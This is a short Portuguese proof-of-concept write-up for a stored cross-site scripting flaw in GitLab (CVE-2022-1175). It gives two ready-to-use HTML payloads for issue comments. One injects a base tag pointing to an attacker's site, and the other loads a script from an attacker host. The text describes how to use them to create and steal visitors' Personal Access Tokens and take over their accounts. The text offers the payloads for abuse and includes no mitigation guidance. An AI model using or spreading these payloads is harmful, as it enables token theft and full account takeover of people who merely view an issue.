
Exploit de prova de conceito para XSS armazenado no GitLab (CVE-2022-1175) possibilitando roubo de token de acesso pessoal e tomada de conta através de comentários maliciosos em issues.
Gitlab Stored XSS, pode ser inserido em uma issue em um projeto, seja seu ou de outro usuário. Permite ataques como criar e roubar um Personal Access Token (PAT) de qualquer pessoa que visite uma issue. Os PATs podem então fornecer acesso total à API do Gitlab como aquele usuário, equivalente a uma tomada completa de conta.
Pode ser abusado alterando a base do projeto para o seu site, para que os scripts sejam originados do seu site. Altere o javascript no seu site para corresponder aos nomes de scripts que estão sendo chamados na página. Isso pode quebrar coisas na página, no entanto.
<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>
A inclusão padrão de script também funciona dependendo da política CSP do site. Isso é mais discreto.
<pre data-sourcepos=""%22 href="x"></pre><script src="https://attacker-site.com/bad.js"></script><pre x=""><code></code></pre>
Os desenvolvedores do GitLab incluíram de forma prática a string XSS completa no código, que pode ser encontrada aqui:
https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4
Referência:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175